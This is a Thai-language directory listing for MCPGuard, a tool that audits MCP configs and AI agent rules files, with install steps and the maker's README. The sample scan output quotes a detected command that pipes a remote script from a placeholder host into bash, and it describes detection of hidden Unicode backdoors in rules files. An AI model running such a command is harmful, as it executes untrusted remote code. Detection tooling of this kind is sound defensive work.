ต้นแบบ · รุ่นทดลอง: มีทุก server ในทะเบียนทางการ อัปเดตทุก 30 นาที เข้าสู่ระบบด้วย Google เพื่อเขียนรีวิวได้แล้วต้นแบบ · อัปเดตทุก 30 นาที
PopNx MCPที่รวม MCP สำหรับคนใช้ AI · วิธีติดตั้งภาษาไทยทุกตัว เข้าสู่ระบบ

MCPGuard — MCP Config & AI Agent Rules Security Auditor

โดย Zluowaรุ่น 1.3.0i★ 0iรันบนคลาวด์หน้า repo ↗

วิธีติดตั้ง

ใช้ทำอะไรได้

ยังไม่มีคำอธิบายภาษาไทย ดูข้อเท็จจริงด้านล่าง หรือเปิดคำอธิบายต้นฉบับจากผู้ทำ

  • ต่อแบบ คลาวด์ (ต่อผ่านอินเทอร์เน็ต)
  • บัญชีหรือคีย์ ล็อกอินกับบริการตอนต่อ (OAuth)
  • หมวด ความปลอดภัยไซเบอร์
คำอธิบายต้นฉบับจากผู้ทำ (อังกฤษ)
Zero-LLM deterministic security auditor for MCP configs, SKILL.md rules, and agent budgets.

ทำไมอยู่อันดับนี้

หน้ารายการเรียงด้วยคะแนนการใช้งาน (เต็ม 100) จากส่วนเหล่านี้

ความนิยม0/80ดาว GitHub หรือยอดดาวน์โหลดต่อสัปดาห์ ค่ามากนับ 60 ค่าน้อยนับ 20
ความสด12/12ออกรุ่นหรือแก้โค้ดใน 30 วัน ได้เต็ม
ระบบยังตอบ8/8endpoint บนคลาวด์ตอบตอนตรวจล่าสุด
คะแนนการใช้งาน20/100

คุณภาพ: ผลตรวจเบื้องต้นผ่าน 4/5 ข้อ (แสดงให้ดู ไม่ได้ใช้เรียง) · ความมาแรง: ยังไม่มีข้อมูล (ใช้เรียงเฉพาะแท็บมาแรง)

ติดตั้ง

เลือกโปรแกรม AI ที่คุณใช้ แล้วคัดลอกค่าตั้งไปวาง

ให้ AI ติดตั้งให้ด้วยประโยคเดียว

ติดตั้ง MCPGuard — MCP Config & AI Agent Rules Security Auditor ให้หน่อย ทำตาม https://mcp.popnx.com/i/zluowa-mcpguard-kit.md แสดงคำสั่งให้ฉันดูและรอฉันตกลงก่อนรัน

คัดลอกไปวางในแชตของ AI ที่ทำงานในเครื่องคุณได้ (เช่น Claude Code, Cursor) · AI จะอ่านขั้นตอนจากเรา แสดงคำสั่งให้ดู และรอคุณตกลงก่อน · ไม่ต้องใช้คีย์ ไม่ต้องสมัคร · ดูข้อความเต็มที่ AI จะอ่าน

ผลตรวจผ่าน 4/5 · สิ่งที่คุณถามผ่านเซิร์ฟเวอร์ของผู้ทำ (mcp.apify.com) · ✓ ตรวจคำสั่งแล้ว 28 พ.ย. 2569

ขั้นแรก: คุณใช้ AI ตัวไหน

เลือกแอปที่คุณใช้ ขั้นตอนจะขึ้นด้านล่าง

ต่อกับ Claude ได้ · ประมาณ 2 นาที

ไม่ต้องใช้คีย์ ไม่ต้องลงโปรแกรม · ตั้งครั้งเดียวที่ claude.ai หรือแอปบนคอม แล้วใช้ในแชตได้ · บัญชีฟรีเพิ่มได้ 1 ตัว · แผน Team/Enterprise ให้เจ้าของ (Owner) เป็นคนเพิ่ม

  1. กดปุ่มนี้ Claude จะเปิดหน้าเพิ่ม connector ที่กรอกไว้ให้แล้ว

    เพิ่ม MCPGuard — MCP Config & AI Agent Rules Security Auditor ใน Claude ↗

    ชื่อกับที่อยู่ถูกกรอกให้แล้ว ตรวจแล้วกด Add · ถ้ายังไม่ได้ล็อกอิน Claude จะให้ล็อกอินก่อน

    กด Continue ผ่านหน้าตรวจการล็อกอินที่ Claude ตรวจเจอ · หัวข้อ Authentication เลือกตามที่ผู้ทำบอก (Sign in now, Sign in when needed หรือ No sign in) แล้วกด Add

    ปุ่มไม่ทำงาน? กรอกเองทีละช่อง

    CustomizeConnectors

    CustomizeConnectors1Add2https://…3Add4

    กด “Add” → “Custom” → “Web” แล้วกรอก 2 ช่องนี้

    คัดลอกจากที่นี่ไปวางในช่องชื่อเดียวกันบนหน้าจอของ Claude แล้วกด Continue

    Name · ชื่อMCPGuard — MCP Config & AI Agent Rules Security Auditor
    Remote MCP server URL · ที่อยู่https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor
  2. เปิดใช้ในแชต

    +ConnectorsMCPGuard — MCP Config & AI Agent Rules Security Auditor

  3. ลองเลย

    ใช้ MCPGuard — MCP Config & AI Agent Rules Security Auditor บอกหน่อยว่าทำอะไรให้ฉันได้บ้าง แล้วลองทำให้ดูหนึ่งอย่าง

    ✓ ถ้า Claude บอกว่ากำลังใช้ MCPGuard — MCP Config & AI Agent Rules Security Auditor หรือมีชื่อเครื่องมือของ MCPGuard — MCP Config & AI Agent Rules Security Auditor ขึ้นในคำตอบ แปลว่าต่อสำเร็จ

ชื่อเมนูตรวจกับหน้าช่วยเหลือของ Anthropic เมื่อ 11 พ.ย. 2569 · หน้าจอของคุณอาจต่างเล็กน้อยตามรุ่นของแอป

ต่อกับ ChatGPT ได้ ขึ้นกับแผน

MCP แบบเต็ม: ChatGPT Business, Enterprise หรือ Edu บนเว็บ · Pro: ต่อได้ด้วยสิทธิ์อ่านและดึงข้อมูล เครื่องมือที่แก้ข้อมูลอาจใช้ไม่ได้ · Plus: เอกสารยังไม่ยืนยัน ถ้าเห็นเมนูเพิ่ม MCP แบบกำหนดเองในหน้าปลั๊กอิน ลองตามขั้นตอนได้ · ใช้บนเว็บเท่านั้น

  1. เปิดหน้าเพิ่ม MCP ของ ChatGPT บนเว็บ

    Plugins+Add custom MCP server

    ChatGPTPlugins1+2https://…3Create4
  2. กรอกชื่อและที่อยู่

    ใส่ชื่อ แล้ววางที่อยู่ใต้ Connection ติ๊กยอมรับคำเตือน แล้วกด Create as a plugin

    Name · ชื่อMCPGuard — MCP Config & AI Agent Rules Security Auditor
    Connection · ที่อยู่https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor
  3. เลือก MCPGuard — MCP Config & AI Agent Rules Security Auditor ในแชต

    เปิดแชตใหม่แล้วเลือก MCPGuard — MCP Config & AI Agent Rules Security Auditor จากรายการปลั๊กอินก่อนพิมพ์

  4. ลองเลย

    ใช้ MCPGuard — MCP Config & AI Agent Rules Security Auditor บอกหน่อยว่าทำอะไรให้ฉันได้บ้าง แล้วลองทำให้ดูหนึ่งอย่าง

    ✓ ถ้า ChatGPT บอกว่ากำลังใช้ MCPGuard — MCP Config & AI Agent Rules Security Auditor หรือมีชื่อเครื่องมือของ MCPGuard — MCP Config & AI Agent Rules Security Auditor ขึ้นในคำตอบ แปลว่าต่อสำเร็จ

ชื่อเมนูตรวจกับหน้าช่วยเหลือของ OpenAI เมื่อ 11 พ.ย. 2569 · หน้าจอของคุณอาจต่างเล็กน้อยตามรุ่นของแอป

ต่อกับ Claude Code ได้ · ประมาณ 2 นาที

ไม่ต้องใช้คีย์ ไม่ต้องลงโปรแกรม

  1. เปิด Terminal

    Mac: กด Command+Space พิมพ์ Terminal · Windows: เปิด PowerShell

  2. วางคำสั่งนี้แล้วกด Enter

    claude mcp add --transport http --scope user mcpguard-kit 'https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor'
  3. พิมพ์ /mcp ใน Claude Code

    ต้องเห็น MCPGuard — MCP Config & AI Agent Rules Security Auditor ในรายการและขึ้นว่าเชื่อมต่อแล้ว

  4. ลองเลย

    ใช้ MCPGuard — MCP Config & AI Agent Rules Security Auditor บอกหน่อยว่าทำอะไรให้ฉันได้บ้าง แล้วลองทำให้ดูหนึ่งอย่าง

    ✓ ถ้า Claude Code บอกว่ากำลังใช้ MCPGuard — MCP Config & AI Agent Rules Security Auditor หรือมีชื่อเครื่องมือของ MCPGuard — MCP Config & AI Agent Rules Security Auditor ขึ้นในคำตอบ แปลว่าต่อสำเร็จ

ชื่อเมนูตรวจกับหน้าช่วยเหลือของ Anthropic เมื่อ 11 พ.ย. 2569 · หน้าจอของคุณอาจต่างเล็กน้อยตามรุ่นของแอป

ต่อกับ Cursor ได้ · ประมาณ 2 นาที

ไม่ต้องใช้คีย์ ไม่ต้องลงโปรแกรม

  1. กดปุ่มนี้เพื่อเปิด Cursor

    เปิดใน Cursor

    Cursor จะถามยืนยันการติดตั้ง ให้กด Install

  2. เปิดแชตของ AI ใน Cursor โหมด Agent

  3. ลองเลย

    ใช้ MCPGuard — MCP Config & AI Agent Rules Security Auditor บอกหน่อยว่าทำอะไรให้ฉันได้บ้าง แล้วลองทำให้ดูหนึ่งอย่าง

    ✓ ถ้า Cursor บอกว่ากำลังใช้ MCPGuard — MCP Config & AI Agent Rules Security Auditor หรือมีชื่อเครื่องมือของ MCPGuard — MCP Config & AI Agent Rules Security Auditor ขึ้นในคำตอบ แปลว่าต่อสำเร็จ

ชื่อเมนูตรวจกับหน้าช่วยเหลือของ Cursor เมื่อ 11 พ.ย. 2569 · หน้าจอของคุณอาจต่างเล็กน้อยตามรุ่นของแอป

ต่อกับ VS Code ได้ · ประมาณ 2 นาที

ไม่ต้องใช้คีย์ ไม่ต้องลงโปรแกรม

  1. กดปุ่มนี้เพื่อเปิด VS Code

    เปิดใน VS Code

    VS Code จะถามยืนยันการติดตั้ง ให้กด Install

  2. เปิดแชตของ AI ใน VS Code โหมด Agent

  3. ลองเลย

    ใช้ MCPGuard — MCP Config & AI Agent Rules Security Auditor บอกหน่อยว่าทำอะไรให้ฉันได้บ้าง แล้วลองทำให้ดูหนึ่งอย่าง

    ✓ ถ้า VS Code บอกว่ากำลังใช้ MCPGuard — MCP Config & AI Agent Rules Security Auditor หรือมีชื่อเครื่องมือของ MCPGuard — MCP Config & AI Agent Rules Security Auditor ขึ้นในคำตอบ แปลว่าต่อสำเร็จ

ชื่อเมนูตรวจกับหน้าช่วยเหลือของ VS Code เมื่อ 11 พ.ย. 2569 · หน้าจอของคุณอาจต่างเล็กน้อยตามรุ่นของแอป

โปรแกรมอื่นที่ใช้ MCP ได้ เช่น Windsurf, Zed หรือ Gemini CLI มีวิธีเพิ่มต่างกัน ดูวิธีของแต่ละตัวในหน้ารวมโปรแกรม

ดูโปรแกรมที่ใช้ MCP ทั้งหมด →

ที่อยู่สำหรับโปรแกรมที่ต่อผ่านเว็บ

ที่อยู่https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor

ค่าตั้งแบบไฟล์ JSON อยู่ในหัวข้อ “สำหรับคนเขียนโค้ด” ด้านล่าง

ติดตรงไหน? ถามคนที่ใช้ MCPGuard — MCP Config & AI Agent Rules Security Auditor อยู่💬 พูดคุย →
สำหรับคนเขียนโค้ด: คำสั่ง Terminal และค่าตั้ง JSON

ต่อผ่านเว็บ

Claude Code

claude mcp add --transport http --scope user mcpguard-kit 'https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor'

Cursor (~/.cursor/mcp.json)

{
  "mcpServers": {
    "mcpguard-kit": {
      "url": "https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor"
    }
  }
}

VS Code (mcp.json)

{
  "servers": {
    "mcpguard-kit": {
      "type": "http",
      "url": "https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor"
    }
  }
}

ค่าตั้งนี้สร้างจากข้อมูลใน registry ของผู้ทำ ถ้าไม่ตรงกับ README ให้เชื่อ README

สรุป

ชื่อใน registry
io.github.Zluowa/mcpguard-kit
ดาวน์โหลดต่อสัปดาห์i
ไม่มียอดใน npm/PyPI
licensei
ไม่ระบุ license
การเชื่อมต่อ
รันบนคลาวด์
รุ่นล่าสุดi
1.3.0
ส่งเข้า registryi
27 พ.ย. 2569
แก้โค้ดล่าสุดi
27 พ.ย. 2569
ตรวจล่าสุดเมื่อ
28 พ.ย. 2569
ผู้ทำ
Zluowa
เว็บผู้ทำ
github.com
สถานะใน registry
ใช้งานอยู่

ใช้กับโปรแกรมไหนได้

ดูจากแบบการต่อของ server ตัวนี้ และเอกสารของผู้ทำโปรแกรมแต่ละตัว ตรวจเมื่อ 10 พ.ย. 2569

ต่อผ่านคลาวด์ได้ใน

ClaudeChatGPTGooseLM StudioMsty StudioCherry StudioCursorVS Code + GitHub CopilotVisual StudioWindsurf (Devin Desktop)ZedKiroClineContinueJetBrains AI AssistantClaude CodeCodex CLIGemini CLIOpenCodenodecodeWarpLibreChatOpen WebUIRaycast

ดูโปรแกรมทั้งหมดพร้อมข้อดีข้อเสีย →

คู่มือที่เกี่ยวข้อง

ทำอะไรได้บ้าง

server ให้ล็อกอินก่อนจึงจะแสดงรายการเครื่องมือ

ผลตรวจเบื้องต้นi

เราตรวจจากข้อมูลที่ใครก็เปิดดูได้ ยังไม่ได้อ่านโค้ด ข้อที่ไม่เกี่ยวกับตัวนี้ไม่นับในตัวหาร · ตรวจเมื่อ 28 พ.ย. 2569

  • ✓ ผ่าน

    ตัวตนผู้ทำตรงกับ repo

    ชื่อใน registry ยืนยันด้วยบัญชี GitHub Zluowa ซึ่งเป็นเจ้าของ repo

  • ✓ ผ่าน

    ยังมีคนดูแล

    มีการแก้โค้ดล่าสุด เมื่อวาน

  • ✕ ไม่ผ่าน

    มีสัญญาอนุญาต (license)

    ไม่พบไฟล์ license ใน repo

  • ✓ ผ่าน

    endpoint ตอบ

    ตอบกลับใน 193 ms (HTTP 401)

  • ✓ ผ่าน

    ล็อกอินแบบ OAuth

    ประกาศวิธีล็อกอินแบบ OAuth ให้โปรแกรม AI พาไปล็อกอินเอง

  • … ยังไม่ตรวจ

    คำอธิบายเครื่องมือไม่มีคำสั่งแอบแฝง

    ยังไม่ได้ตรวจ เราอ่านรายการเครื่องมือตอนตรวจ endpoint

เราตรวจอะไรบ้าง → · JSON

ผู้ทำ: ขอให้ตรวจใหม่ หรือแจ้งข้อมูลผิด
สำหรับผู้ทำ: ติดป้ายใน README

ถ้าคุณเป็นผู้ทำตัวนี้ คัดลอกโค้ดนี้ไปวางใน README ได้เลย ป้ายลิงก์กลับมาที่หน้านี้

[![แนะนำบน PopNx MCP](https://mcp.popnx.com/badge/zluowa-mcpguard-kit.svg?lang=th)](https://mcp.popnx.com/th/servers/zluowa-mcpguard-kit)

พูดคุย

ถาม แชร์เคล็ดลับ หรือแจ้งว่าใช้ไม่ได้ เรียงตามที่คนกดว่ามีประโยชน์

ยังไม่มีใครโพสต์ ถามหรือแชร์เป็นคนแรกได้เลย

ข้อความในส่วนนี้เขียนโดยผู้ใช้ ไม่ใช่ทีม PopNx

เข้าสู่ระบบเพื่อโพสต์

รีวิวจากผู้ใช้

ยังไม่มีรีวิว

เข้าสู่ระบบเพื่อเขียนรีวิว

เทียบกับตัวอื่นในหมวด ความปลอดภัยไซเบอร์i

  • ดาวมากกว่า 0% ของอีก 1250 ตัวในหมวดนี้
  • ส่งรุ่นใหม่เข้า registry ล่าสุดกว่า 99% ของอีก 1250 ตัวในหมวดนี้
  • ผลตรวจเบื้องต้นดีกว่าหรือเท่ากับ 50% ของอีก 1250 ตัวในหมวดนี้

เทียบกับทุก server ที่ยังใช้งานในหมวดนี้ทั้งทะเบียน ดาวนับเฉพาะเมื่อผู้ลงทะเบียนเป็นเจ้าของ repo

คำถามที่พบบ่อย

MCPGuard — MCP Config & AI Agent Rules Security Auditor ปลอดภัยไหม?

จากการตรวจเบื้องต้นของเรา ผ่าน 4 จาก 5 ข้อที่ตรวจได้ เรายังไม่ได้อ่านโค้ด ก่อนใส่กุญแจหรือ token ให้ดูว่า server ขอสิทธิ์อะไร และเลือกกุญแจที่ทำได้เท่าที่จำเป็น

ต้องใช้กุญแจหรือรหัสอะไรบ้าง?

registry ไม่ได้ระบุว่าต้องใช้กุญแจ แต่บางตัวจะขอให้ล็อกอินตอนใช้ครั้งแรก

ตัวนี้รันบนเครื่องหรือบนคลาวด์?

รันบนคลาวด์ของผู้ทำ ต่อผ่านอินเทอร์เน็ตได้เลย ไม่ต้องลงโปรแกรม แต่ข้อมูลที่ส่งให้จะผ่านเซิร์ฟเวอร์ของผู้ทำ

ยังมีคนดูแลอยู่ไหม?

repo บน GitHub มีการแก้โค้ดล่าสุด เมื่อวาน และส่งรุ่นล่าสุด (1.3.0) เข้า registry เมื่อวาน

ใช้กับโปรแกรมไหนได้บ้าง?

โปรแกรมที่รองรับ MCP เช่น Claude Desktop, Claude Code, Cursor และ VS Code ตัวนี้ต่อผ่าน URL จึงใช้กับโปรแกรมที่รับ remote MCP ได้ เช่น ChatGPT บนเว็บ (แบบเต็มในแผน Business ขึ้นไป · Pro แบบอ่านอย่างเดียว)

มีตัวไหนใช้แทนได้บ้าง?

ในหมวดเดียวกันมี GitHits, Dependency Management MCP Server, Snyk MCP, TokenSafe, Draugr

ตัวอื่นที่ทำงานคล้ายกัน

หมวดเดียวกันจากผู้ทำคนอื่น ผ่านตัวตรวจคำสั่งแล้ว ตัวทางการขึ้นก่อน แล้วเรียงตามดาว

อ่านการ์ด:↓ ดาวน์โหลดต่อสัปดาห์i★ ดาว GitHubiสามเสา: รีวิว · ผลตรวจ · การใช้งานiอัปเดต = วันที่ส่งรุ่นล่าสุดเข้า registryi

GitHits

Search public open-source code, documentation, metadata, vulnerabilities, changelogs, and examples.

โดย githits-comกำลังโต↓ 1.9K/สัปดาห์★ 141อัปเดต 9 วันที่ผ่านมา

ต่อได้ทันที (มี URL) · ต้องล็อกอิน✓ เจ้าของบริการ · githits.com

Dependency Management MCP Server

Sonatype component intelligence: versions, security analysis, and Trust Score recommendations

โดย sonatypeเริ่มต้น★ 72อัปเดต 12 เดือนที่ผ่านมา

ต่อได้ทันที (มี URL) · ต้องล็อกอิน✓ sonatype.com

Snyk MCP

หาและแก้ช่องโหว่ความปลอดภัยในแอปของคุณด้วย Snyk

โดย snykใช้กันมาก↓ 762.1K/สัปดาห์★ 61อัปเดต 7 เดือนที่ผ่านมา

รันบนเครื่อง✓ เจ้าของบริการ · snyk.io

TokenSafe

Your AI agent is smart enough to code all day. Local firewall & zero-loss runtime.

โดย tokensafe-devใช้กันมาก↓ 6.8K/สัปดาห์★ 48อัปเดต วันนี้

ต่อได้ทันที (มี URL)เครื่องมือ 9 ตัว · เบา✓ เจ้าของบริการ · tokensafe.dev

Draugr

Security scanning for AI agents: SAST, SCA, secrets, IaC, DAST, ranked by real risk.

โดย draugr-devเริ่มต้น★ 30อัปเดต เมื่อวาน

รันบนเครื่อง✓ เจ้าของบริการ · draugr.dev
เทียบกับตัวที่คล้ายกัน
ตัวนี้
MCPGuard — MCP Config & AI Agent Rules Security Auditor
GitHitsDependency Management MCP ServerSnyk MCPTokenSafeDraugr
ทำงานที่ไหนใช้บนคลาวด์ ไม่ต้องลงเครื่องมีทั้งบนคลาวด์และแบบลงเครื่องใช้บนคลาวด์ ไม่ต้องลงเครื่องต้องลงในเครื่องมีทั้งบนคลาวด์และแบบลงเครื่องต้องลงในเครื่อง
ต้องใส่คีย์ไม่ไม่ไม่ไม่ไม่ไม่
กด + ใน Claude ได้ไม่ไม่ไม่ไม่ไม่ไม่
ผลตรวจเบื้องต้น4/55/53/43/35/53/3
สัญญาอนุญาต–Apache-2.0–Apache-2.0MITApache-2.0
ราคาไม่พบค่าใช้จ่ายในทะเบียนไม่พบค่าใช้จ่ายในทะเบียนไม่พบค่าใช้จ่ายในทะเบียนไม่พบค่าใช้จ่ายในทะเบียนไม่พบค่าใช้จ่ายในทะเบียนไม่พบค่าใช้จ่ายในทะเบียน

README จากผู้ทำ

เปิดอ่าน README

ส่วนนี้คัดจาก repo ของผู้ทำตามต้นฉบับ PopNx MCP ไม่ได้ตรวจหรือรับรองเนื้อหา ตัด HTML รูปภาพ และสคริปต์ออกแล้ว ลิงก์จะพาออกนอกเว็บ

MCPGuard & LoopBreaker Kit (v1.3.0)

Zero-dependency Node.js AI Agent Security & Cost Gate — audit MCP configurations (mcp.json / JSONC), AI agent rules & skills (AGENTS.md, CLAUDE.md, GEMINI.md, .cursorrules, SKILL.md), and agent spend/loop logs in milliseconds with zero LLM calls and deterministic exit codes.

Available as a Zero-Install CLI, GitHub Action (SARIF 2.1.0), 5-Tool Stdio MCP Server, Offline Single-File Web UI, Apify Store Actor (`zluowa/mcpguard-security-auditor`), and Live x402 v2 Base USDC API (`mcpguard-x402-api.vercel.app`) (also self-hostable).


30-Second Quick Start (Zero npm install)

1. Run directly from GitHub with npx
# Audit your current repository (discovers MCP configs + Agent Rules/SKILL.md -> 0-100 score + Markdown)

npx --yes github:Zluowa/mcpguard-kit audit-repo . --markdown

Audit an MCP config (JSON or JSONC) and export SARIF 2.1.0

npx --yes github:Zluowa/mcpguard-kit audit-mcp .vscode/mcp.json --sarif > mcpguard.sarif

Audit AI agent rules files for invisible Unicode backdoors, secrets & Context Tax bloat

npx --yes github:Zluowa/mcpguard-kit audit-rules . --max-tokens 4000

Run budget & ping-pong loop circuit breaker against agent JSONL logs

npx --yes github:Zluowa/mcpguard-kit circuit-break agent-runs.jsonl --max-usd 5.00 --max-pingpong 4

2. Drop-in GitHub Action (PR Security Gate + Step Summary + SARIF)
name: MCPGuard Security Gate

on: [push, pull_request]

permissions: contents: read security-events: write

jobs: mcpguard: runs-on: ubuntu-latest timeout-minutes: 10 steps:

  • uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4
  • uses: Zluowa/mcpguard-kit@v1.3.0 with: target: '.' max-tokens: '4000' sarif-file: 'mcpguard-repo.sarif' fail-on-findings: 'true'
3. Mount as a Native 5-Tool Stdio MCP Server (Claude / Cursor / VS Code)
{

"mcpServers": { "mcpguard": { "command": "npx", "args": ["--yes", "github:Zluowa/mcpguard-kit", "mcp-server"] } } }

Exposes 5 deterministic JSON-RPC 2.0 tools: audit_repository, audit_mcp_config, sanitize_mcp_config, audit_rules_file, and evaluate_circuit_breaker.


Real Scan Output Examples (Verified Against Included Fixtures)

audit-mcp Catching Hardcoded Secrets, Broad FS Scope & Unpinned npx
$ node cli/mcpguard.mjs audit-mcp examples/sample-mcp.json

MCP Security Audit: sample-mcp.json (4 servers) Summary: CRITICAL=2 HIGH=3 MEDIUM=1 LOW=0 | Status=FAIL

  • [MEDIUM] UNPINNED_NPX_PACKAGE (mcpServers.filesystem-unsafe.args): Unpinned dynamic package "@modelcontextprotocol/server-filesystem" executed via npx (supply-chain drift risk) Fix: Pin an explicit semver (e.g. "@modelcontextprotocol/server-filesystem@1.2.3") so upstream releases cannot silently alter tool behavior.
  • [HIGH] OVERBROAD_FS_ROOT (mcpServers.filesystem-unsafe.args): MCP server granted overly broad filesystem scope: "/" Fix: Scope filesystem MCP servers to a dedicated project subdirectory with least-privilege permissions.
  • [CRITICAL] OPENAI_KEY (mcpServers.openai-helper.env.OPENAI_API_KEY): OpenAI API Key hardcoded in MCP config (sk-p…ONLY) Fix: Move credential out of mcp.json and reference an environment variable (${ENV_VAR}) or secret manager.
  • [HIGH] BEARER_LITERAL (mcpServers.remote-analytics.headers.Authorization): Hardcoded Bearer Token hardcoded in MCP config (Bear…7890) Fix: Move credential out of mcp.json and reference an environment variable (${ENV_VAR}) or secret manager.
  • [HIGH] INSECURE_HTTP_TRANSPORT (mcpServers.remote-analytics.url): Remote MCP server uses plaintext HTTP (http://mcp.example.com/sse?api_key=demo_inline_query_secret_987654) Fix: Switch remote MCP endpoint to HTTPS/TLS.
  • [CRITICAL] URL_QUERY_SECRET (mcpServers.remote-analytics.url): Secret/API key embedded in MCP URL query string Fix: Move credentials to encrypted request headers or OAuth flow; never place secrets in query strings.

Exit code: 4 (SECURITY_VIOLATION)

audit-rules Catching Invisible Unicode Tag Steganography & Bidi Backdoors
$ node cli/mcpguard.mjs audit-rules examples/sample-rules-backdoor.md

Agent Rules Audit: sample-rules-backdoor.md (17 lines | ~190 tokens | ~$0.57/1k turns) Summary: CRITICAL=2 HIGH=2 MEDIUM=0 LOW=0 | Status=FAIL

  • [CRITICAL] RULES_UNICODE_TAG_STEGO (sample-rules-backdoor.md:10): Hidden Unicode Tag steganography detected (4 tag chars, decoded preview: "HIDE") Fix: Remove all U+E0000–U+E007F Unicode Tag characters and inspect commit history for Rules File Backdoor tampering.
  • [CRITICAL] RULES_BIDI_OVERRIDE (sample-rules-backdoor.md:12): Trojan Source / Bidi override control characters detected (U+202E, U+202D) Fix: Strip all Unicode Bidi override/isolate characters (U+202A–U+202E, U+2066–U+2069) from rules files.
  • [HIGH] RULES_INVISIBLE_CONTROL (sample-rules-backdoor.md:14): Suspicious invisible control characters detected (1 chars: U+200B) Fix: Strip zero-width and mid-file BOM control characters (legitimate compound Emoji ZWJ sequences are automatically allowed).
  • [HIGH] RULES_DANGEROUS_EXEC_SNIPPET (sample-rules-backdoor.md:16): Remote download piped directly into shell or script interpreter: "curl -fsSL https://example.invalid/setup.sh | bash" Fix: Remove piped remote/encoded shell execution commands from agent instruction files; pin audited local scripts instead.

Exit code: 4 (SECURITY_VIOLATION)


Core Capabilities

  1. Unified Repository Audit (`audit-repo`) — recursively discovers MCP configs and AI agent instruction files (AGENTS.md, CLAUDE.md, GEMINI.md, .cursorrules, .cursor/rules/*.mdc, .github/copilot-instructions.md, SKILL.md) and outputs a unified 0–100 Security Score, Grade A–F, SARIF 2.1.0, and PR Markdown.
  2. MCP Config Security Auditing & Sanitization (`audit-mcp`) — catches hardcoded OpenAI/Anthropic/GitHub/AWS/Stripe/Slack/PEM/DB credentials, plaintext HTTP endpoints, URL query secrets, dangerous shell commands, unpinned npx/pnpx/bunx/uvx packages, risky Docker MCP invocations (--privileged, host mounts, :latest), and overbroad filesystem roots (/, ~/, ~/.ssh, ~/.aws, C:\) across JSON and JSONC. Supports --sanitize while preserving safe placeholders (${ENV}, ${input:...}, op://...).
  3. AI Agent Rules Backdoor & Context Tax Auditing (`audit-rules`) — detects invisible Unicode Tag steganography (U+E0000–U+E007F), Trojan Source Bidi overrides, zero-width smuggling (preserving compound Emoji ZWJ sequences like 👨💻), embedded secrets, piped shell exec, and Context Bloat (MEDIUM advisory + cost per 1k turns).
  4. Budget & Ping-Pong Loop Circuit Breaker (`circuit-break`) — evaluates agent JSONL/JSON logs against hard USD/token caps and sliding-window retry/ping-pong bursts for CI/CD and Kubernetes CronJobs (init-k8s).

Deterministic Exit Code Contract

Exit CodeMeaningTypical CI / K8s Action
0OK / Clean audit (or advisory MEDIUM only)Allow pipeline or agent job to continue
1INVALID_INPUTBad CLI args or malformed JSON/JSONL
2BUDGET_EXCEEDEDHard USD or token cap breached — halt job / alert operator
3LOOP_DETECTEDUnproductive wake/retry/ping-pong burst detected inside sliding window
4SECURITY_VIOLATIONCRITICAL or HIGH MCP config or Agent Rules backdoor/secret finding — block PR merge

Live Cloud API (x402), Apify Actor & Self-Hosted Deployment

  • [Live x402 v2 Base USDC API (`mcpguard-x402-api.vercel.app`)](https://mcpguard-x402-api.vercel.app): Pay-per-call on Base Mainnet (eip155:8453, $0.005 USDC / call, no account or API key required). Discovery endpoints: /api/health, /.well-known/x402, /openapi.json, and /llms.txt. Paid POST routes: /api/v1/audit-mcp, /api/v1/sanitize-mcp, /api/v1/audit-rules, /api/v1/audit-repo-bundle, /api/v1/circuit-break.
  • [Public Apify Store PPE Actor](https://apify.com/zluowa/mcpguard-security-auditor) & [Remote MCP](https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor): Runs as zluowa/mcpguard-security-auditor on pure node:24-alpine (128–256 MB RAM, Limited permissions). The remote MCP endpoint uses an Apify API token; the local CLI, GitHub Action, and self-hosted API remain free.
  • MCP Registry & Glama Metadata: Includes server.json (io.github.Zluowa/mcpguard-kit) and glama.json.
  • Self-Hosted HTTP / Vercel / Cloudflare Workers: Run locally with node cli/mcpguard.mjs serve --port 8787, deploy dist/vercel-app/ to Vercel, or deploy deploy/cloudflare-worker.mjs to Cloudflare Workers with optional x402 v2 Base USDC payment gating (/.well-known/x402, /openapi.json, /llms.txt).
  • Offline Single-File Browser UI: Open web/index.html directly in any browser — zero server, zero cookies, zero uploads.

Local Development & Verification

git clone https://github.com/Zluowa/mcpguard-kit.git

cd mcpguard-kit npm test npm run demo:mcp npm run demo:rules npm run demo:breaker

See BENCHMARK_AND_POSITIONING.md for the 14-repo (81 MCP config) + 24-repo (19 Rules file) benchmark results and CHANGELOG.md for full version history.